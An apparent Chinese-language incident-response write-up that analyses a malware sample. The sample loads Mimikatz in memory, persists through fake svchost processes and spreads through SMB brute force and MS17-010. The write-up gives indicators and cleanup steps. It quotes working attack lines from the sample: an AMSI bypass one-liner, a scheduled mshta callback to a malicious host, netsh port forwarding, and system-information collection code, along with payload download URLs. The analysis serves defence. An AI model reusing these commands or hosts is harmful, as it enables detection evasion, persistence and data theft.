某应急响应样本分析
字数 2078 2025-08-06 08:35:16
恶意软件样本分析教学文档
1. 样本概述
本教学文档分析了一个复杂的恶意软件样本,包含三个主要组件:
- PowerShell脚本(内存加载Mimikatz)
- svchost2.exe(持久化组件)
- svchost1.exe(扫描传播组件)
2. PowerShell组件分析
2.1 反混淆技术
样本使用了多种PowerShell混淆技术:
- 字符串拼接(大小写混用)
- 变量名随机化
- 编码转换(Base64 + Gzip压缩)
反混淆方法:
- 识别字符串拼接模式(如
${TYpEBUiLdER}) - 使用PowerShell调试器逐步执行
- 参考FireEye的反混淆技术文档
2.2 核心功能
2.2.1 AMSI绕过
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
- 通过反射修改AMSI初始化标志,绕过杀毒软件检测
2.2.2 PE文件构造
Get-Win32Types: 定义PE文件子系统类型Get-Win32Constants: 设置PE文件常量值Get-Win32Functions: 加载系统DLL函数
2.2.3 内存操作函数
Sub-SignedIntAsUnsigned: 有符号整数相减转无符号Add-SignedIntAsUnsigned: 有符号整数相加转无符号Write-BytesToMemory: 字节写入内存Test-MemoryRangeValid: 测试内存区域可用性
2.2.4 Mimikatz加载
- 从Base64编码变量
pebYtes64解码Mimikatz - 使用
Invoke-CreateRemoteThread在目标进程注入执行 - 全程无文件落地,仅在内存运行
2.3 危害
- 窃取系统密码和私钥
- 实现横向移动
- 收集系统信息
3. svchost2.exe分析
3.1 主要功能
- 启动Ddriver服务
- 写入
C:\windows\temp\ttt.exe - 执行恶意命令
3.2 持久化技术
3.2.1 进程伪装
taskkill /f /im svhost.exe /im svhhost.exe /im svvhost.exe
move /y c:\windows\temp\svvhost.exe c:\windows\temp\svchost.exe
- 杀死竞争对手恶意软件
- 伪装成合法svchost.exe
3.2.2 防火墙规则修改
netsh interface ipv6 install
netsh firewall add portopening tcp 65532 UDP
netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53
- 开放65531-65533端口
- 设置IPv4端口转发
3.2.3 计划任务
schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"
- 每50分钟执行一次
- 以system权限运行
3.2.4 注册表修改
Software\Microsoft\Windows\CurrentVersion\Run- 添加Driver键实现开机自启
3.3 清除方法
- 删除以下文件:
C:\windows\system32\svhost.exeC:\windows\temp\svchost.exeC:\windows\temp\ttt.exe
- 删除计划任务"Autocheck"
- 清理注册表Run项
- 重置防火墙规则
4. svchost1.exe分析
4.1 样本特征
- Python打包的EXE(py2exe)
- 大小约8MB
- 包含MS17-010漏洞利用代码
4.2 主要功能
4.2.1 互斥体
- 绑定60124端口确保单实例运行
4.2.2 传播机制
- 检测本机k8h3d用户并删除
- 检查感染状态(65533端口)
- 未感染则从云端下载恶意代码
4.2.3 扫描传播
- 通过
wmic ntdomain get domainname获取域信息 findip获取网络信息scansmb检测开放445端口的主机validate函数爆破SMB弱口令
4.2.4 MS17-010利用
- 参考worawit的MS17-010漏洞利用代码
- 入侵成功后执行
smb_pwn函数
4.3 危害
- 自动化扫描攻击内网主机
- 通过MS17-010和弱口令爆破传播
- 下载执行更多恶意负载
5. 云端组件分析
5.1 下载地址
http://v.beahh.com/v(PowerShell代码)http://172.104.73.9/dll.exe(恶意负载)
5.2 信息收集
$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$avs = (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct).displayName
$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME
- 收集MAC地址、杀软信息、系统版本、域名和用户名
5.3 下载执行逻辑
- 检查Ddriver服务是否运行
- 未运行则下载
dll.exe保存为update.exe - 通过Shell执行下载的文件
6. 防御与清除方案
6.1 检测指标
- 异常端口:65531-65533、60124
- 异常进程:svhost.exe、svhhost.exe、svvhost.exe
- 异常文件路径:
C:\windows\temp\ttt.exeC:\windows\temp\svchost.exeC:\windows\system32\svhost.exe
6.2 清除步骤
- 终止相关恶意进程
- 删除恶意文件
- 清理计划任务
- 修复注册表
- 重置防火墙规则
- 检查并修复MS17-010漏洞
- 更改所有弱口令
6.3 防御建议
- 禁用不必要的PowerShell功能
- 启用AMSI保护
- 监控异常网络连接
- 限制WMI和SMB服务访问
- 部署EDR解决方案